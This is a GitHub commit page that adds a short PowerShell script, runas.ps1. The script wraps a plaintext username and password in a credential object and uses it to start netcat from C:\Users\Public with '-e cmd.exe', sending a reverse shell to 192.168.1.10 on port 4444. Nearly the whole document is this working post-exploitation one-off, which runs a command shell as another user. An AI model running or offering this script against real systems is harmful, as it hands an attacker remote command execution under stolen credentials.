Skip to content

Commit

Permalink
Create runas.ps1
Browse files Browse the repository at this point in the history
  • Loading branch information
frizb committed Oct 23, 2018
1 parent e6921aa commit 9ceae27
Showing 1 changed file with 5 additions and 0 deletions.
5 changes: 5 additions & 0 deletions runas.ps1
@@ -0,0 +1,5 @@
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

0 comments on commit 9ceae27

Please sign in to comment.